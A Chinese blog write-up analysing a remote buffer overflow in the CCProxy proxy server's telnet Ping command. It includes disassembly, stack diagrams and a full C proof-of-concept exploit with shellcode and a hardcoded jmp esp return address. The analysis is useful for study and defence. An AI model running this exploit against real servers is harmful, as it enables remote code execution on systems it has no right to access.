CCProxy远程缓冲区溢出分析
luoluo [luoluonet@hotmail.com]
CCProxy的缓冲区溢出攻击代码早已公布,但是我并没有能找到漏洞的相关说明,以下就对
这个简单的缓冲区溢出漏洞作简要分析。偶水平很菜,加上糟糕的文字,错误和不足处,
请各位指教,感激不尽。
测试环境:windows2003 + CCProxy 6.2
CCProxy是一款轻量级的代理服务器软件,该服务器软件提供了远程telnet功能,telnet进
去后可以执行简单的命令,其中的Ping(P)命令的参数如果提交过长的字符串的话,就会造
成缓冲区溢出,攻击者可以利用这个漏洞在远程主机上执行任意代码。
该漏洞主要是由于在处理Ping命令的结果回显数据时,使用sprintf函数格式化字符串,该
函数没有边界检查,导致溢出从而可以改变程序流程执行任意代码。
漏洞代码:
_text:00430300 sub_0_430300    proc near               ; CODE XREF: sub_0_426B20+20p
_text:00430300
_text:00430300 var_468         = dword ptr -468h
_text:00430300 s               = dword ptr -464h
_text:00430300 var_458         = dword ptr -458h
_text:00430300 var_454         = dword ptr -454h
_text:00430300 var_450         = dword ptr -450h
_text:00430300 var_44C         = dword ptr -44Ch
_text:00430300 var_448         = byte ptr -448h
_text:00430300 var_438         = dword ptr -438h
_text:00430300 in              = in_addr ptr -434h
_text:00430300 var_430         = dword ptr -430h
_text:00430300 var_42C         = byte ptr -42Ch
_text:00430300 var_428         = byte ptr -428h
_text:00430300 var_418         = byte ptr -418h
_text:00430300 buf             = byte ptr -414h
_text:00430300 var_404         = byte ptr -404h
_text:00430300 var_403         = byte ptr -403h
_text:00430300 var_34          = dword ptr -34h
_text:00430300 var_20          = dword ptr -20h
_text:00430300 name            = dword ptr -4
_text:00430300 arg_8           = dword ptr  0Ch
_text:00430300
_text:00430300                 sub     esp, 430h
_text:00430306                 push    ebx
_text:00430307                 push    ebp
_text:00430308                 mov     ebp, ecx
_text:0043030A                 push    esi
_text:0043030B                 push    edi
_text:0043030C                 mov     ecx, 100h
_text:00430311                 lea     ebx, [ebp+8]
_text:00430314                 mov     byte ptr [ebp+1008h], 0
_text:0043031B                 lea     edi, [esp+440h+var_403]
_text:0043031F                 push    1               ; protocol
_text:00430321                 mov     byte ptr [ebx], 0
_text:00430324                 mov     al, byte_0_47B338
_text:00430329                 mov     [esp+444h+var_404], al
_text:0043032D                 xor     eax, eax
_text:0043032F                 repe stosd     // 缓冲区清空 400h = 1024,调试程
序时发现这里的缓冲区起始位置比分配的位置后移了一个字节,不知道是什么原因
_text:00430331                 mov     ecx, [esp+444h+arg_8]
_text:00430338                 push    3               ; type
_text:0043033A                 push    2               ; af
_text:0043033C                 mov     [ebp+0], ecx
_text:0043033F                 call    ds:socket
_text:00430345                 cmp     eax, 0FFFFFFFFh
_text:00430348                 mov     [esp+44Ch+var_438], eax
_text:0043034C                 jnz     short loc_0_430367
_text:0043034E                 push    offset aSocket  ; "socket()"
_text:00430353                 mov     ecx, ebp
_text:00430355                 call    sub_0_430710
_text:0043035A                 pop     edi
_text:0043035B                 pop     esi
_text:0043035C                 pop     ebp
_text:0043035D                 pop     ebx
_text:0043035E                 add     esp, 430h
_text:00430364                 retn    0Ch
_text:00430367 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
_text:00430367
_text:00430367 loc_0_430367:                           ; CODE XREF: sub_0_430300+4Cj
_text:00430367                 mov     esi, [esp+44Ch+name]
_text:0043036E                 push    esi             ; name
_text:0043036F                 call    ds:gethostbyname
_text:00430375                 test    eax, eax
_text:00430377                 jnz     short loc_0_4303DF
_text:00430379                 push    esi               // 第三个参数,Ping命令的参数
_text:0043037A                 lea     edx, [esp+454h+buf]
_text:0043037E                 push    offset aHostNotFoundS ; "Host not found: %s/r/n"
_text:00430383                 push    edx               // 第一个参数,目标缓冲区
_text:00430384                 call    _sprintf          // 调用sprintf函数  导致溢出
_text:00430389                 lea     edi, [esp+45Ch+buf]
_text:0043038D                 or      ecx, 0FFFFFFFFh
_text:00430390                 xor     eax, eax
_text:00430392                 add     esp, 0Ch
_text:00430395                 repne scasb
_text:00430397                 not     ecx
_text:00430399                 sub     edi, ecx
_text:0043039B                 push    eax             ; flags
_text:0043039C                 mov     esi, edi
_text:0043039E                 mov     edx, ecx
_text:004303A0                 mov     edi, ebx
_text:004303A2                 or      ecx, 0FFFFFFFFh
_text:004303A5                 repne scasb
_text:004303A7                 mov     ecx, edx
_text:004303A9                 dec     edi
_text:004303AA                 shr     ecx, 2
_text:004303AD                 repe movsd
_text:004303AF                 mov     ecx, edx
_text:004303B1                 and     ecx, 3
_text:004303B4                 repe movsb
_text:004303B6                 lea     edi, [esp+454h+buf]
_text:004303BA                 or      ecx, 0FFFFFFFFh
_text:004303BD                 repne scasb
_text:004303BF                 not     ecx
_text:004303C1                 dec     ecx
_text:004303C2                 lea     eax, [esp+454h+buf]
_text:004303C6                 push    ecx             ; len
_text:004303C7                 mov     ecx, [ebp+0]
_text:004303CA                 push    eax             ; buf
_text:004303CB                 push    ecx             ; s
_text:004303CC                 call    ds:send
_text:004303D2                 pop     edi
_text:004303D3                 pop     esi
_text:004303D4                 pop     ebp
_text:004303D5                 pop     ebx
_text:004303D6                 add     esp, 430h
_text:004303DC                 retn    0Ch
_text:004303DF ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
调用sprintf前当前的堆栈的情况:
+---------+---------+------------------------+------------+----------+---------+--------+
|   esp   |  data   | dst buffer of sprintf  |  4 bytes   |  eip     |  data   |  ebp   |
+---------+---------+------------------------+------------+----------+---------+--------+
|<----  1024 bytes   --->|
格式化字符串的长度是16 bytes,只要我们Ping命令的主机名为1016 bytes数据,就可以刚
好覆盖eip,从而改变程序流程,在返回时,esi里存放的地址正好落在一个存放主机名的
buffer拷贝里,可以搜寻系统里的jmp esi的地址作为返回地址来定位shellcode。
如果要用jmp esp来执行shellcode,则麻烦一些,因为在漏洞程序部分使用主机名是一份拷贝,
在前面拷贝时,源缓冲区和目标缓冲相邻,如果主机名大于1024 bytes,大于1024 bytes的部
分会被拷贝的部分填充,所以如果直接把shellcode跟在要用来覆盖eip的地址后面不可行。
但是不是没有办法,因为填充的内容就是源缓冲区的前1024 bytes,而拷贝的长度由源串的长
度决定,可以发送一个长度不小于1024+(len of shellcode)的主机名,并且shellcode填充在
主机名的最前面,这样拷贝时shellcode会被拷贝到目标缓冲区的后面,就可以利用jmp esp来
定位shellcode。
图Copy前:
+-----+------+-----------+--------------+--------------+------+--------------+------
| esp | data | shellcode | filling data | addr jmp esp | nops | filling data | data ...
+-----+------+-----------+--------------+--------------+------+--------------+------
|<--------   1024 bytes source buffer  --------->|<- start of dst buffer
图Copy后:
--+-----------+--------------+--------------+------+--------------+--------------+--------------+------+-----------+--
..| shellcode | filling data | addr jmp esp | nops |  shellcode   | filling data | addr jmp esp | nops | shellcode |..
--+-----------+--------------+--------------+------+--------------+--------------+--------------+------+-----------+--
|<--------   1024 bytes source buffer  --------->|<---- start of dst buffer                   |<-- esp when ret
|<---- hostname buff to be formatted by sprintf
附带一个在win2003上利用jmp esp的简单测试程序(非安全返回):
//-----------------------------------------------------------------
// A test script (jmp esp) for ccproxy 6.22 on win2k3
// and it only opens a cmd window for funny. :)
// and it dosen't return safely, if the cmd window
// was closed, an exception will be thrown out
// and the application will exit.
//
// created by luoluo luoluo_at_hotmail.com
//-----------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32")
bool send_buff(char *, int);
unsigned char shellcode[] =
// decoder
"/x8B/xC4/x83/xC0/x49/x80/x30/x99"
"/x83/xC0/x29/x80/x30/x99/x83/xC0/x2E/x80/x30/x99"
// system("cmd.exe")
"/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"
"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73"
"/xC6/x45/xF7/x76/xC6/x45/xF8/x63"
"/xC6/x45/xF9/x72/xC6/x45/xFA/x74"
"/xC6/x45/xFB/x2E/xC6/x45/xFC/x64"
"/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
"/xC6/x45/xFF/x99/x8D/x45/xF5/x50"
"/xB9/x0D/x85/xE1/x77/xFF/xD1/x8B/xD0"
"/xC6/x45/xF5/x73/xC6/x45/xF6/x79"
"/xC6/x45/xF7/x73/xC6/x45/xF8/x74"
"/xC6/x45/xF9/x65/xC6/x45/xFA/x6D"
"/xC6/x45/xFB/x99/x8D/x45/xF5/x50"
"/x52/xB9/xFB/x2D/xE1/x77/xFF/xD1/x8B/xD0"
"/xC6/x45/xF5/x63/xC6/x45/xF6/x6D"
"/xC6/x45/xF7/x64/xC6/x45/xF8/x2E"
"/xC6/x45/xF9/x65/xC6/x45/xFA/x78"
"/xC6/x45/xFB/x65/xC6/x45/xFC/x99"
"/x8D/x45/xF5/x50/xFF/xD2/x83/xC4"
"/x04/x8B/xE5/x5A/x59/x5D";
unsigned char jmp_esp[] = "/x46/x7a/xe1/x77";
unsigned char padding[] = "/x90/x90/x90/x90"
"/x90/x90/x90/x90";
void main()
{
char buff[2048];
int i;
int filling_size;
char buff2send[2048];
memset(buff, 0, 2048);
strcpy(buff, "/x90/x90/x90/x90");
strcat(buff, (const char *)shellcode);
filling_size = 1024 - 4 - strlen((const char *)shellcode) - strlen((const char *)padding) - 4;
for (i = 0; i < filling_size; i ++)
strcat(buff, "/x90");
strcat(buff, (const char *)jmp_esp);
strcat(buff, (const char *)padding);
for (i = 0; i < 400; i ++)
strcat(buff, "/x90");
memset(buff2send, 0, 2048);
sprintf(buff2send, "p %s/r/n", buff);
//---------------------------------------------------
send_buff(buff2send, strlen(buff2send));
}
bool send_buff(char *buffer, int buff_size)
{
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN addr_in;
char recv_buff[4096];
int bytes_recv = 0;
int bytes_send = 0;
//---------------------------------------------------
if (WSAStartup(MAKEWORD(2, 0), &WSAData) != 0)
{
printf("WSAStartup failed./n");
return false;
}
//----------------------------------------------------------
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
printf("socket error./n");
return false;
}
//-----------------------------------------------------------
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(23);
addr_in.sin_addr.S_un.S_addr = inet_addr("192.168.1.2");
if (connect(s, (SOCKADDR *)&addr_in, sizeof(addr_in)))
{
printf("connect error./n");
return false;
}
//------------------------------------------------------
memset(recv_buff, 0, 4096);
bytes_recv = recv(s, recv_buff, 4096, 0);
if (bytes_recv == SOCKET_ERROR)
{
printf("recv error./n");
return false;
}
else if (! bytes_recv)
{
printf("connection closed./n");
return false;
}
printf("%d : %s/n", buff_size, recv_buff);
//----------------------------------------------------------------
bytes_send = send(s, buffer, buff_size, 0);
if (bytes_send == SOCKET_ERROR)
{
printf("send error./n");
return false;
}
printf("%d bytes has been sent : %S/n", buff_size, buffer);
//------------------------------------------
closesocket(s);
WSACleanup();
return true;
}
-----------------EOF-------------------

[转自luoluo's blog]CCProxy远程缓冲区溢出分析相关推荐

  1. mysql溢出漏洞,Mysql 远程缓冲区溢出漏洞

    Mysql 远程缓冲区溢出漏洞 发布日期:2001-01-27 更新日期:2001-01-27 受影响系统:T.C.X DataKonsult MySQL 3.23.30 T.C.X DataKons ...

  2. linux psd文件,ImageMagick PSD图形文件处理远程缓冲区溢出漏洞

    发布日期:2014-02-08 更新日期:2014-02-14 受影响系统: ImageMagick ImageMagick < 6.8.8-5 描述: -------------------- ...

  3. 海康威视linux密码忘记,Hikvision DS-2CD7153-E 网络摄像机远程缓冲区溢出漏洞(CVE-2013-4977)...

    发布日期:2013-08-06 更新日期:2013-08-08 受影响系统: hikvision DS-2CD7153-E IP Camera v4.1.0 b130111 描述: --------- ...

  4. 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析

    漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀&q ...

  5. DAQmx数据采集缓冲区溢出分析

    在使用DAQmx采集数据时,有时会发生缓冲区溢出现象,通常的表现为采集数据不正确,并出现200279错误.下面分析缓冲区原理及溢出原因: 外部的信号进入数据采集卡后,经过各种处理转换,先进入数据采集卡 ...

  6. html缓冲区分析代码,HTML5 Video Player 1.2.5 缓冲区溢出分析

    放假前最后一天看到 exploit-db 上出了一个 HTML 5 Video Player 的缓冲区溢出的 exploit,版本是 1.2.5,(无心工作)就分析了一下这个漏洞,是一个比较简单的栈溢 ...

  7. 网络安全实验:CCProxy缓冲区溢出攻击

    CCProxy缓冲区溢出实验 一.实验环境说明 溢出对象:CCProxy(一款代理服务器软件,支持FTP和Telnet) 调试工具:CDB.WinDbg.OllyDBG.IDA Pro etc 实验环 ...

  8. 缓冲区溢出漏洞攻击——Shellcode编写

    一.实验内容 利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示"You have been hacked!(by JWM)" 二.实验原理 因为输入了过长的字符 ...

  9. 软件安全实验——lab7(缓冲区溢出3:返回导向编程技术ROP)

    目录标题 1.举例详细解释什么是Return-orientd Programming ROP?(至少两个例子:x86 和arm) (1)ROP在X86指令集上的实例 (2)ROP在ARM上的可行性 2 ...

最新文章

  1. java_pandas_Joinery
  2. USB_HID C#测试例程
  3. vc++ 关于 指针操作
  4. 排序算法之--归并排序(好玩的一个算法o。o)快速入门
  5. Magento 获取当前货币和货币符How to get current currency in Magento
  6. 熟悉HTML基本标签的分类测试分析 1218
  7. 【kafka】Flink 消费 kafka Received unknown topic topic/partition may not exist Describe access to it
  8. java hql多条件查询_JSP 开发之hibernate的hql查询多对多查询
  9. php如何做支付,php实现银联支付
  10. el-table的使用总结
  11. python可以破解网站吗_python变相破解校园网 - 『编程语言区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn...
  12. EXCEL中所有函数的使用
  13. ico图标制作的在线工具
  14. 如何破解终端算力困局?PRCV这篇论文让机器人“算有余力”
  15. 蒙特卡罗计算积分matlab,matlab下二重积分的蒙特卡洛算法
  16. Android手机下载的缓存视频如何找到?
  17. 吐血整理出来的大数据知识点,你掌握多少?
  18. 第29期全国人工智能师资培训启动,百度500万AI人才培养计划续航
  19. QQ将在下一版本允许注销账号 预计下周发布
  20. 暑期python培训价格

热门文章

  1. 基于ComblockEngine+Unity的联机版坦克大战(一)
  2. 知乎轮子哥有多牛!初中写游戏,大学写编译器,毕业拿微软Offer
  3. 2006年职称计算机考试,2006年度职称计算机考试练习试题
  4. matlab 2016a 破解教程
  5. TFHE拓展:Programmable Bootstrapping
  6. C#全局鼠标/键盘钩子
  7. VS1003音频解码芯片MP3播放器实现的问题-转载
  8. MySQL使用IN、EXISTS、ANY、ALL关键字的子查询
  9. 安装Win7键盘驱动遇到的问题
  10. 用telnet命令发送邮件